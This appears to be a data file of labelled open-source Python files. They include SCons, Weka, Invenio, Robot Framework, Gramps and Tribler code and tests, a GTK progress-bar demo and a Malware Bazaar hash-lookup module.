# Now, we need to fix up the list of params. must_add_kwargs = remove_params(params_rawlist) if must_add_kwargs: arglist = results[u'arglist'] if len(arglist.children) > 0 and arglist.children[-1].type != token.COMMA: arglist.append_child(Comma()) arglist.append_child(DoubleStar(prefix=u"" "")) arglist.append_child(Name(new_kwargs)) ",1 "ification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # ""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """"""Test for environment_tools. These are SMALL and MEDIUM tests."""""" import os import unittest import TestFramework class EnvToolsTests(unittest.TestCase): """"""Tests for environment_tools module."""""" def setUp(self): """"""Per-test setup."""""" self.env = self.root_env.Clone() def testFilterOut(self): """"""Test FilterOut()."""""" env = self.env env.Replace( TEST1=['ant', 'bear', 'cat'], TEST2=[1, 2, 3, 4], ) # Simple filter env.FilterOut(TEST1=['bear']) self.assertEqual(env['TEST1'], ['ant', 'cat']) # Filter multiple env.FilterOut(TEST1=['ant'], TEST2=[1, 3]) self.assertEqual(env['TEST1'], ['cat']) self.assertEqual(env['TEST2'], [2, 4]) # Filter doesn't care if the variable or value doesn't exist env.FilterOut(TEST1=['dog'], TEST3=[2]) self.assertEqual(env['TEST1'], ['cat']) self.assertEqual(env['TEST2'], [2, 4]) def testFilterOutRepeated(self): """"""Test FilterOut() filters all matches."""""" env = self.env env['TEST3'] = ['A', 'B', 'B', 'C'] env.FilterOut(TEST3=['B']) self.assertEqual(env['TEST3'], ['A', 'C']) def testFilterOutNested(self): """"""Test FilterOut on nested lists."""""" env = self.env # FilterOut does not currently flatten lists, nor remove values from # sub-lists. This is related to not evaluating environment variables (see # below). env['TEST4'] = ['A', ['B', 'C'], 'D'] env.FilterOut(TEST4=['B']) self.assertEqual(env['TEST4'], ['A', ['B', 'C'], 'D']) # If you specify the entire sub-list, it will be filtered env.FilterOut(TEST4=[['B', 'C']]) self.assertEqual(env['TEST4'], ['A', 'D']) def testFilterOutNoEval(self): """"""Test FilterOut does not evaluate variables in the list."""""" env = self.env # FilterOut does not evaluate variables in the list. (Doing so would # defeat much of the purpose of variables.) Note that this means it does # not filter variables which evaluate partially or wholly to the filtered # string. On the plus side, this means you CAN filter out variables. env.Replace( TEST5=['$V1', '$V2', '$V3', '$V4'], V1='A', # (V2 intentionally undefined at this point) V3=['A', 'B'], V4='C', ) env.FilterOut(TEST5=['A', '$V4']) self.assertEqual(env['TEST5'], ['$V1', '$V2', '$V3']) def testOverlap(self): """"""Test Overlap()."""""" env = self.env env.Replace( OLVAR='baz', OLLIST=['2', '3', '4'], ) # Simple string compares self.assertEqual(env.Overlap('foo', 'foo'), ['foo']) self.assertEqual(env.Overlap('foo', 'food'), []) # String compare with variable substitution self.assertEqual(env.Overlap('foobaz', 'foo$OLVAR'), ['foobaz']) # Simple list overlap # Need to use set() for comparison, since the order of entries in the # output list is indeterminate self.assertEqual(set(env.Overlap(['1', '2', '3'], ['2', '3', '4'])), set(['2', '3'])) # Overlap removes duplicates self.assertEqual(env.Overlap(['1', '2', '2'], ['2', '3', '2']), ['2']) # List and string self.assertEqual(env.Overlap('3', ['1', '2', '3']), ['3']) self.assertEqual(env.Overlap('4', ['1', '2', '3']), []) self.assertEqual(env.Overlap(['1', '$OLVAR', '3'], '$OLVAR'), ['baz']) # Variable substitition will replace and flatten lists self.assertEqual(set(env.Overlap(['1', '2', '3'], '$OLLIST')), set(['2', '3'])) # Substitution flattens lists self.assertEqual(set(env.Overlap([['1', '2'], '3'], ['2', ['3', '4']])), set(['2', '3'])) def testSubstList2(self): """"""Test SubstList2()."""""" env = self.env # Empty args should return empty list self.assertEqual(env.SubstList2(), []) # Undefined variable also returns empty list self.assertEqual(env.SubstList2('$NO_SUCH_VAR'), []) # Simple substitution (recursively evaluates variables) env['STR1'] = 'FOO$STR2' env['STR2'] = 'BAR' self.assertEqual(env.SubstList2('$STR1'), ['FOOBAR']) # Simple list substitution env['LIST1'] = ['A', 'B'] self.assertEqual(env.SubstList2('$LIST1'), ['A', 'B']) # Nested lists env['LIST2'] = ['C', '$LIST1'] self.assertEqual(env.SubstList2('$LIST2'), ['C', 'A', 'B']) # Multiple variables in a single entry stay a single entry self.assertEqual(env.SubstList2('$STR1 $STR2'), ['FOOBAR BAR']) # Multiple args to command self.assertEqual(env.SubstList2('$LIST2', '$STR2'), ['C', 'A', 'B', 'BAR']) # Items in list are actually strings, not some subclass self.assert_(type(env.SubstList2('$STR1')[0]) is str) def testRelativePath(self): """"""Test RelativePath()."""""" env = self.env # Trivial cases - directory or file relative to itself self.assertEqual(env.RelativePath('a', 'a'), '.') self.assertEqual(env.RelativePath('a/b/c', 'a/b/c'), '.') self.assertEqual(env.RelativePath('a', 'a', source_is_file=True), 'a') self.assertEqual(env.RelativePath('a/b/c', 'a/b/c', source_is_file=True), 'c') # Can pass in directory or file nodes self.assertEqual(env.RelativePath(env.Dir('a'), env.File('b/c'), sep='/'), '../b/c') # Separator argument is respected self.assertEqual(env.RelativePath('.', 'a/b/c', sep='BOOGA'), 'aBOOGAbBOOGAc') # Default separator is os.sep self.assertEqual(env.RelativePath('.', 'a/b'), 'a' + os.sep + 'b') # No common dirs self.assertEqual(env.RelativePath('a/b/c', 'd/e/f', sep='/'), '../../../d/e/f') self.assertEqual( env.RelativePath('a/b/c', 'd/e/f', sep='/', source_is_file=True), '../../d/e/f') # Common dirs self.assertEqual(env.RelativePath('a/b/c/d', 'a/b/e/f', sep='/'), '../../e/f') # Source or destination path is different length self.assertEqual(env.RelativePath('a/b/c/d', 'a/b', sep='/'), '../..') self.assertEqual(env.RelativePath('a/b', 'a/b/c/d', sep='/'), 'c/d') # Current directory on either side self.assertEqual(env.RelativePath('a/b/c', '.', sep='/'), '../../..') self.assertEqual(env.RelativePath('.', 'a/b/c', sep='/'), 'a/b/c') # Variables are evaluated env.Replace( DIR1='foo', DIR2='bar', ) self.assertEqual(env.RelativePath('foo/$DIR2/a', '$DIR1/bar/b', sep='/'), '../b') def testApplyBuildSConscript(self): """"""Test ApplySConscript() and BuildSConscript() (MEDIUM test)."""""" env = self.env env['SUB1'] = 'nougat' # ApplySConscript() affects the calling environment env.ApplySConscript('SConscript1') self.assertEqual(env.get('SUB2'), 'orange') # BuildSConscript() does not affect the calling environment env.BuildSConscript('SConscript2') self.assertEqual(env.get('SUB2'), 'orange') # BuildSConscript finds build.scons in preference to SConscript env.BuildSConscript('abs1') # But does look for SConscript if there isn't build.scons env.BuildSConscript('abs2') def TestSConstruct(scons_globals): """"""Test SConstruct file. Args: scons_globals: Global variables dict from the SConscript file. """""" # Get globals from SCons Environment = scons_globals['Environment'] env = Environment(tools=['environment_tools']) # Run unit tests TestFramework.RunUnitTests(EnvToolsTests, root_env=env) sconscript1_contents = """""" Import('env') if env.get('SUB1') != 'nougat': raise ValueError('ApplySConscript() failure in sconscript1') env['SUB2'] = 'orange' """""" sconscript2_contents = """""" Import('env') if env.get('SUB1') != 'nougat': raise ValueError('BuildSConscript() failure in sconscript2') env['SUB2'] = 'pizza' """""" sconscript3_contents = """""" Import('env') filename = '%s' env.Execute(Touch(filename)) """""" def main(): test = TestFramework.TestFramework() test.subdir('environment_tools') base = 'environment_tools/' test.WriteSConscript(base + 'SConstruct', TestSConstruct) test.write(base + 'SConscript1', sconscript1_contents) test.write(base + 'SConscript2', sconscript2_contents) test.subdir(base + 'abs1') test.write(base + 'abs1/build.scons', sconscript3_contents % 'yes1') test.write(base + 'abs1/SConscript', sconscript3_contents % 'no') test.subdir(base + 'abs2') test.write(base + 'abs2/SConscript', sconscript3_contents % 'yes2') # Ignore stderr since unittest prints its output there test.run(chdir=base, stderr=None) test.must_exist(base + 'abs1/yes1') test.must_not_exist(base + 'abs1/no') test.must_exist(base + 'abs2/yes2') test.pass_test() if __name__ == '__main__': main() ",1 "s free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. import gtk, time import threading import thread import gobject #Iniciando el hilo sin usarlo gtk.gdk.threads_init() #La clase App hereda threading.Thread class App(threading.Thread): def __init__(self): #Método constructor, asociando los widgets self.glade_file = ""progreso.glade"" self.glade = gtk.Builder() self.glade.add_from_file(self.glade_file) self.window1 = self.glade.get_object('window1') self.togglebutton1 = self.glade.get_object('togglebutton1') self.button1 = self.glade.get_object('button1') self.progressbar1 = self.glade.get_object('progressbar1') self.new_val = 0.0 self.rango =60 #Definiendo el valor inicial de la barra de proceso, definiendo los saltos en 0.1 self.progressbar1.set_fraction(self.new_val) self.progressbar1.set_pulse_step(0.1) self.window1.connect(""destroy"",self.on_window1_destroy) self.button1.connect('clicked', self.on_button1_clicked) self.togglebutton1.connect('toggled',self.on_togglebutton1_toggled) #Iniciando el hilo en el constructor threading.Thread.__init__(self) self.window1.show_all() def __iteracion__(self): #Iteración en segundos cambiando el valor en la barra de progreso. for i in range(self.rango): if self.togglebutton1.get_active() == True: self.new_val = self.progressbar1.get_fraction() + 0.01 if self.new_val > 1.0: self.new_val = 0.0 self.togglebutton1.set_active(False) break else: time.sleep(1) self.x = self.new_val*100 self.progressbar1.set_text(""%s"" %self.x) self.progressbar1.set_fraction(self.new_val) else: return def on_togglebutton1_toggled(self,*args): #Si cambia el evento en el boton biestado se inicia la iteración entre los hilos. variable = self.togglebutton1.get_active() self.rango = 100 if variable == True: lock = thread.allocate_lock() lock.acquire() thread.start_new_thread( self.__iteracion__, ()) lock.release() else: #Se detiene la barra de progreso self.progressbar1.set_fraction(self.new_val) self.progressbar1.set_text(""%s"" %self.x) ",1 "ee Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # experiments.py # Copyright (C) 2015 Fracpete (pythonwekawrapper at gmail dot com) import unittest import weka.core.jvm as jvm import weka.core.converters as converters import weka.classifiers as classifiers import weka.experiments as experiments import weka.plot.experiments as plot import wekatests.tests.weka_test as weka_test class TestExperiments(weka_test.WekaTest): def test_plot_experiment(self): """""" Tests the plot_experiment method. """""" datasets = [self.datafile(""bolts.arff""), self.datafile(""bodyfat.arff""), self.datafile(""autoPrice.arff"")] cls = [ classifiers.Classifier(""weka.classifiers.trees.REPTree""), classifiers.Classifier(""weka.classifiers.functions.LinearRegression""), classifiers.Classifier(""weka.classifiers.functions.SMOreg""), ] outfile = self.tempfile(""results-rs.arff"") exp = experiments.SimpleRandomSplitExperiment( classification=False, runs=10, percentage=66.6, preserve_order=False, datasets=datasets, classifiers=cls, result=outfile) exp.setup() exp.run() # evaluate loader = converters.loader_for_file(outfile) data = loader.load_file(outfile) matrix = experiments.ResultMatrix(""weka.experiment.ResultMatrixPlainText"") tester = experiments.Tester(""weka.experiment.PairedCorrectedTTester"") tester.resultmatrix = matrix comparison_col = data.attribute_by_name(""Correlation_coefficient"").index tester.instances = data tester.header(comparison_col) tester.multi_resultset_full(0, comparison_col) # plot plot.plot_experiment(matrix, title=""Random split (w/ StdDev)"", measure=""Correlation coefficient"", show_stdev=True, wait=False) plot.plot_experiment(matrix, title=""Random split"", measure=""Correlation coefficient"", wait=False) def suite(): """""" Returns the test suite. :return: the test suite :rtype: unittest.TestSuite """""" return unittest.TestLoader().loadTestsFromTestCase(TestExperiments) if __name__ == '__main__': jvm.start() unittest.TextTestRunner().run(suite()) jvm.stop() ",1 "r # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of the # License, or (at your option) any later version. # # Invenio is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Invenio; if not, write to the Free Software Foundation, Inc., # 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. from datetime import date, datetime import six from wtforms import DateField from wtforms.validators import optional from ..field_base import WebDepositField __all__ = ['Date'] class Date(WebDepositField, DateField): def __init__(self, **kwargs): defaults = dict( icon='calendar', validators=[optional()], widget_classes=""form-control"" ) defaults.update(kwargs) super(Date, self).__init__(**defaults) def process_data(self, value): """""" Called when loading data from Python (incoming objects can be either datetime objects or strings, depending on if they are loaded from an JSON or Python objects). """""" if isinstance(value, six.string_types): self.object_data = datetime.strptime(value, self.format).date() elif isinstance(value, datetime): self.object_data = value.date() elif isinstance(value, date): self.object_data = value # Be sure to set both self.object_data and self.data due to internals # of Field.process() and draft_form_process_and_validate(). self.data = self.object_data @property def json_data(self): """""" Serialize data into JSON serializalbe object """""" # Just use _value() to format the date into a string. if self.data: return self.data.strftime(self.format) # pylint: disable-msg= return None ",1 "arty imports #No third-party imports #programmer generated imports from logger import logger from fileio import fileio ''' ***BEGIN DESCRIPTION*** Type: Search - Description: Searches for any available data on a target against the Abuse.ch Malware Bazaar database. ***END DESCRIPTION*** ''' def POE(POE): if (POE.logging == True): LOG = logger() newlogentry = '' reputation_dump = '' reputation_output_data = '' malwarebazaar = '' if (POE.logging == True): newlogentry = 'Module: malware_bazaar_search' LOG.WriteStrongLog(POE.logdir, POE.targetfilename, newlogentry) if (POE.SHA256 == ''): print (colored('\r\n[x] Unable to execute Malware Bazaar Search - hash value must be SHA256.', 'red', attrs=['bold'])) newlogentry = 'Unable to execute Malware Bazaar Search - hash value must be SHA256' LOG.WriteStrongSubLog(POE.logdir, POE.targetfilename, newlogentry) return -1 global json query_status = '' first_seen = '' last_seen = '' signature = '' sig_count = 0 output = POE.logdir + 'MalwareBazaarSearch.json' FI = fileio() print (colored('\r\n[*] Running abuse.ch Malware Bazaar Search against: ' + POE.target, 'white', attrs=['bold'])) malwarebazaar = ""https://mb-api.abuse.ch/api/v1/"" #API URL data = { #Our header params 'query': 'get_info', 'hash': POE.SHA256, } response_dump = requests.post(malwarebazaar, data=data, timeout=15) # Give us the results as JSON if (POE.debug == True): print (response_dump) try: FI.WriteLogFile(output, response_dump.content.decode(""utf-8"", ""ignore"")) print (colored('[*] Malware Bazaar data had been written to file here: ', 'green') + colored(output, 'blue', attrs=['bold'])) if ((POE.logging == True) and (POE.nolinksummary == False)): newlogentry = 'Malware Bazaar data has been generated to file here: Malware Bazaar Host Output ' LOG.WriteSubLog(POE.logdir, POE.targetfilename, newlogentry) except: print (colored('[x] Unable to write Malware Bazaar data to file', 'red', attrs=['bold'])) if (POE.logging == True): newlogentry = 'Unable to write Malware Bazaar data to file' LOG.WriteStrongSubLog(POE.logdir, POE.targetfilename, newlogentry) POE.csv_line += 'N/A,' return -1 try: #Open the file we just downloaded print ('[-] Reading Malware Bazaar file: ' + output.strip()) with open(output.strip(), 'rb') as read_file: data = json.load(read_file, cls=None) read_file.close() # Check what kind of results we have query_status = data[""query_status""] print ('[*] query_status: ' + query_status) if (query_status == 'ok'): with open(output.strip(), 'r') as read_file: for string in read_file: if (POE.debug == True): print ('[DEBUG] string: ' + string.strip()) if ('first_seen' in string): first_seen = string.strip() if ('last_seen' in string): last_seen = string.strip() if (('signature' in string) and (sig_count == 0)): signature = string.strip() sig_count += 1 print ('[*] Sample ' + first_seen.replace(',','')) print ('[*] Sample ' + last_seen.replace(',','')) print ('[*] Sample ' + signature.replace(',','')) if (POE.logging == True): newlogentry = 'Sample ' + first_seen.replace(',','') LOG.WriteSubLog(POE.logdir, POE.targetfilename, newlogentry) newlogentry = 'Sample ' + last_seen.replace(',','') LOG.WriteSubLog(POE.logdir, POE.targetfilename, newlogentry) newlogentry = 'Sample ' + signature.replace(',','') LOG.WriteSubLog(POE.logdir, POE.targetfilename, newlogentry) #Can't find anything on this one... elif (query_status == 'hash_not_found'): print (colored('[-] The hash value has not been found...', 'yellow', attrs=['bold'])) if (POE.logging == True): newlogentry = 'No results available for host...' LOG.WriteSubLog(POE.logdir, POE.targetfilename, newlogentry) #Can't find anything on this one... elif (query_status == 'no_results'): print (colored('[-] No results available for host...', 'yellow', attrs=['bold'])) if (POE.logging == True): newlogentry = 'No results available for host...' LOG.WriteSubLog(POE.logdir, POE.targetfilename, newlogentry) #Something weird happened... else: print (colored('[x] An error has occurred...', 'red', attrs=['bold'])) if (POE.logging == True): newlogentry = 'An error has occurred...' LOG.WriteSubLog(POE.logdir, POE.targetfilename, newlogentry) except Exception as e: print (colored('[x] Error: ' + str(e) + ' Terminating...', 'red', attrs=['bold'])) read_file.close() return -1 #Clean up before returning read_file.close() return 0 ",1 "cept in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import with_statement from os.path import basename, splitext import codecs from robot.htmldata import HtmlFileWriter, ModelWriter, LOG, REPORT from robot.utils import utf8open from .jswriter import JsResultWriter, SplitLogWriter class _LogReportWriter(object): def __init__(self, js_model): self._js_model = js_model def _write_file(self, path, config, template): outfile = codecs.open(path, 'wb', encoding='UTF-8')\ if isinstance(path, basestring) else path # unit test hook with outfile: model_writer = RobotModelWriter(outfile, self._js_model, config) writer = HtmlFileWriter(outfile, model_writer) writer.write(template) class RobotModelWriter(ModelWriter): def __init__(self, output, model, config): self._output = output self._model = model self._config = config def write(self, line): JsResultWriter(self._output).write(self._model, self._config) class LogWriter(_LogReportWriter): def write(self, path, config): self._write_file(path, config, LOG) if self._js_model.split_results: self._write_split_logs(splitext(path)[0]) def _write_split_logs(self, base): for index, (keywords, strings) in enumerate(self._js_model.split_results): index += 1 # enumerate accepts start index only in Py 2.6+ self._write_split_log(index, keywords, strings, '%s-%d.js' % (base, index)) def _write_split_log(self, index, keywords, strings, path): with utf8open(path, 'wb') as outfile: writer = SplitLogWriter(outfile) writer.write(keywords, strings, index, basename(path)) class ReportWriter(_LogReportWriter): def write(self, path, config): self._write_file(path, config, REPORT) ",1 "start TimerTool and set clock resolution Starts TimerTool.exe and sets the clock resolution to argv[0] ms Ex: python set_clock_resolution 0.5 @author: marcus """""" import time, datetime from socket import gethostname, gethostbyname import os import numpy as np def main(): my_path = os.path.join('C:',os.sep,'Share','sync_clocks') os.chdir(my_path) # Initial timestamps t1 = time.clock() t2 = time.time() t3 = datetime.datetime.now() td1 = [] td2 = [] td3 = [] for i in xrange(100): td1.append(time.clock()-t1) td2.append(time.time() -t2) td3.append((datetime.datetime.now()-t3).total_seconds()) time.sleep(0.001) # Create text file and write header t = datetime.datetime.now() ip = gethostbyname(gethostname()).split('.')[-1] f_name = '_'.join([ip,'test_clock_res',str(t.year),str(t.month),str(t.day), str(t.hour),str(t.minute),str(t.second)]) f = open(f_name+'.txt','w') f.write('%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n' % ('mean_clock','median_clock','sd_clock', 'mean_time','median_time','sd_time', 'mean_datetime','median_datetime','sd_datetime',)) # Write results to text file f.write('%.2f\t%.2f\t%.2f\t%.2f\t%.2f\t%.2f\t%.2f\t%.2f\t%.2f\n' % (np.mean(np.diff(td1))*1000, np.median(np.diff(td1))*1000,np.std(np.diff(td1))*1000, np.mean(np.diff(td2))*1000, np.median(np.diff(td2))*1000,np.std(np.diff(td2))*1000, np.mean(np.diff(td3))*1000, np.median(np.diff(td3))*1000,np.std(np.diff(td3))*1000)) f.close() if __name__ == ""__main__"": main() ",1 "bute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. # # gen.filters.rules/Place/_HasNoLatOrLon.py #------------------------------------------------------------------------- # # Standard Python modules # #------------------------------------------------------------------------- from ....const import GRAMPS_LOCALE as glocale _ = glocale.translation.gettext #------------------------------------------------------------------------- # # Gramps modules # #------------------------------------------------------------------------- from .. import Rule #------------------------------------------------------------------------- # # HasNoLatOrLon # #------------------------------------------------------------------------- class HasNoLatOrLon(Rule): """"""Rule that checks if Latitude or Longitude are not given"""""" labels = [] name = _('Places with no latitude or longitude given') description = _(""Matches places with empty latitude or longitude"") category = _('Position filters') def apply(self,db,place): if place.get_latitude().strip and place.get_longitude().strip(): return False return True ",1 "ribler.Core.CacheDB.SqliteCacheDBHandler import TorrentDBHandler, MyPreferenceDBHandler, ChannelCastDBHandler from Tribler.Core.CacheDB.sqlitecachedb import str2bin from Tribler.Core.Category.Category import Category from Tribler.Core.TorrentDef import TorrentDef from Tribler.Core.leveldbstore import LevelDbStore from Tribler.Test.Core.test_sqlitecachedbhandler import AbstractDB from Tribler.Test.common import TESTS_DATA_DIR S_TORRENT_PATH_BACKUP = os.path.join(TESTS_DATA_DIR, 'bak_single.torrent') M_TORRENT_PATH_BACKUP = os.path.join(TESTS_DATA_DIR, 'bak_multiple.torrent') class TestTorrentFullSessionDBHandler(AbstractDB): def setUpPreSession(self): super(TestTorrentFullSessionDBHandler, self).setUpPreSession() self.config.set_megacache_enabled(True) @inlineCallbacks def setUp(self): yield super(TestTorrentFullSessionDBHandler, self).setUp() self.tdb = TorrentDBHandler(self.session) def test_initialize(self): self.tdb.initialize() self.assertIsNone(self.tdb.mypref_db) self.assertIsNone(self.tdb.votecast_db) self.assertIsNone(self.tdb.channelcast_db) class TestTorrentDBHandler(AbstractDB): def addTorrent(self): old_size = self.tdb.size() old_tracker_size = self.tdb._db.size('TrackerInfo') s_infohash = unhexlify('44865489ac16e2f34ea0cd3043cfd970cc24ec09') m_infohash = unhexlify('ed81da94d21ad1b305133f2726cdaec5a57fed98') single_torrent_file_path = os.path.join(self.getStateDir(), 'single.torrent') multiple_torrent_file_path = os.path.join(self.getStateDir(), 'multiple.torrent') copyfile(S_TORRENT_PATH_BACKUP, single_torrent_file_path) copyfile(M_TORRENT_PATH_BACKUP, multiple_torrent_file_path) single_tdef = TorrentDef.load(single_torrent_file_path) self.assertEqual(s_infohash, single_tdef.get_infohash()) multiple_tdef = TorrentDef.load(multiple_torrent_file_path) self.assertEqual(m_infohash, multiple_tdef.get_infohash()) self.tdb.addExternalTorrent(single_tdef) self.tdb.addExternalTorrent(multiple_tdef) single_torrent_id = self.tdb.getTorrentID(s_infohash) multiple_torrent_id = self.tdb.getTorrentID(m_infohash) self.assertEqual(self.tdb.getInfohash(single_torrent_id), s_infohash) single_name = 'Tribler_4.1.7_src.zip' multiple_name = 'Tribler_4.1.7_src' self.assertEqual(self.tdb.size(), old_size + 2) new_tracker_table_size = self.tdb._db.size('TrackerInfo') self.assertLess(old_tracker_size, new_tracker_table_size) sname = self.tdb.getOne('name', torrent_id=single_torrent_id) self.assertEqual(sname, single_name) mname = self.tdb.getOne('name', torrent_id=multiple_torrent_id) self.assertEqual(mname, multiple_name) s_size = self.tdb.getOne('length', torrent_id=single_torrent_id) self.assertEqual(s_size, 1583233) m_size = self.tdb.getOne('length', torrent_id=multiple_torrent_id) self.assertEqual(m_size, 5358560) cat = self.tdb.getOne('category', torrent_id=multiple_torrent_id) self.assertEqual(cat, u'xxx') s_status = self.tdb.getOne('status', torrent_id=single_torrent_id) self.assertEqual(s_status, u'unknown') m_comment = self.tdb.getOne('comment', torrent_id=multiple_torrent_id) comments = 'www.tribler.org' self.assertGreater(m_comment.find(comments), -1) comments = 'something not inside' self.assertEqual(m_comment.find(comments), -1) m_trackers = self.tdb.getTrackerListByInfohash(m_infohash) self.assertEqual(len(m_trackers), 8) self.assertIn('http://tpb.tracker.thepiratebay.org/announce', m_trackers) s_torrent = self.tdb.getTorrent(s_infohash) m_torrent = self.tdb.getTorrent(m_infohash) self.assertEqual(s_torrent['name'], 'Tribler_4.1.7_src.zip') self.assertEqual(m_torrent['name'], 'Tribler_4.1.7_src') self.assertEqual(m_torrent['last_tracker_check'], 0) def updateTorrent(self): m_infohash = unhexlify('ed81da94d21ad1b305133f2726cdaec5a57fed98') self.tdb.updateTorrent(m_infohash, relevance=3.1415926, category=u'Videoclips', status=u'good', seeder=123, leecher=321, last_tracker_check=1234567, other_key1='abcd', other_key2=123) multiple_torrent_id = self.tdb.getTorrentID(m_infohash) category = self.tdb.getOne('category', torrent_id=multiple_torrent_id) self.assertEqual(category, u'Videoclips') status = self.tdb.getOne('status', torrent_id=multiple_torrent_id) self.assertEqual(status, u'good') seeder = self.tdb.getOne('num_seeders', torrent_id=multiple_torrent_id) self.assertEqual(seeder, 123) leecher = self.tdb.getOne('num_leechers', torrent_id=multiple_torrent_id) self.assertEqual(leecher, 321) last_tracker_check = self.tdb.getOne('last_tracker_check', torrent_id=multiple_torrent_id) self.assertEqual(last_tracker_check, 1234567) def setUpPreSession(self): super(TestTorrentDBHandler, self).setUpPreSession() self.config.set_megacache_enabled(True) self.config.set_torrent_store_enabled(True) @inlineCallbacks def setUp(self): yield super(TestTorrentDBHandler, self).setUp() from Tribler.Core.APIImplementation.LaunchManyCore import TriblerLaunchMany from Tribler.Core.Modules.tracker_manager import TrackerManager self.session.lm = TriblerLaunchMany() self.session.lm.tracker_manager = TrackerManager(self.session) self.tdb = TorrentDBHandler(self.session) self.tdb.torrent_dir = TESTS_DATA_DIR self.tdb.category = Category() self.tdb.mypref_db = MyPreferenceDBHandler(self.session) @inlineCallbacks def tearDown(self): self.tdb.mypref_db.close() self.tdb.mypref_db = None self.tdb.close() self.tdb = None yield super(TestTorrentDBHandler, self).tearDown() def test_hasTorrent(self): infohash_str = 'AA8cTG7ZuPsyblbRE7CyxsrKUCg=' infohash = str2bin(infohash_str) self.assertTrue(self.tdb.hasTorrent(infohash)) self.assertTrue(self.tdb.hasTorrent(infohash)) # cache will trigger fake_infohash = 'fake_infohash_100000' self.assertFalse(self.tdb.hasTorrent(fake_infohash)) def test_get_infohash(self): self.assertTrue(self.tdb.getInfohash(1)) self.assertFalse(self.tdb.getInfohash(1234567)) def test_add_update_torrent(self): self.addTorrent() self.updateTorrent() def test_update_torrent_from_metainfo(self): # Add torrent first infohash = unhexlify('ed81da94d21ad1b305133f2726cdaec5a57fed98') # Only infohash is added to the database self.tdb.addOrGetTorrentID(infohash) # Then update the torrent with metainfo metainfo = {'info': {'files': [{'path': ['Something.something.pdf'], 'length': 123456789}, {'path': ['Another-thing.jpg'], 'length': 100000000}], 'piece length': 2097152, 'name': '\xc3Something awesome (2015)', 'pieces': ''}, 'seeders': 0, 'initial peers': [], 'leechers': 36, 'download_exists': False, 'nodes': []} self.tdb.update_torrent_with_metainfo(infohash, metainfo) # Check updates are correct torrent_id = self.tdb.getTorrentID(infohash) name = self.tdb.getOne('name', torrent_id=torrent_id) self.assertEqual(name, u'\xc3Something awesome (2015)') num_files = self.tdb.getOne('num_files', torrent_id=torrent_id) self.assertEqual(num_files, 2) length = self.tdb.getOne('length', torrent_id=torrent_id) self.assertEqual(length, 223456789) def test_add_external_torrent_no_def_existing(self): infohash = str2bin('AA8cTG7ZuPsyblbRE7CyxsrKUCg=') self.tdb.addExternalTorrentNoDef(infohash, ""test torrent"", [], [], 1234) self.assertTrue(self.tdb.hasTorrent(infohash)) def test_add_external_torrent_no_def_no_files(self): infohash = unhexlify('48865489ac16e2f34ea0cd3043cfd970cc24ec09') self.tdb.addExternalTorrentNoDef(infohash, ""test torrent"", [], [], 1234) self.assertFalse(self.tdb.hasTorrent(infohash)) def test_add_external_torrent_no_def_one_file(self): infohash = unhexlify('49865489ac16e2f34ea0cd3043cfd970cc24ec09') self.tdb.addExternalTorrentNoDef(infohash, ""test torrent"", [(""file1"", 42)], ['http://localhost/announce'], 1234) self.assertTrue(self.tdb.getTorrentID(infohash)) def test_add_external_torrent_no_def_more_files(self): infohash = unhexlify('50865489ac16e2f34ea0cd3043cfd970cc24ec09') self.tdb.addExternalTorrentNoDef(infohash, ""test torrent"", [(""file1"", 42), (""file2"", 43)], [], 1234, extra_info={""seeder"": 2, ""leecher"": 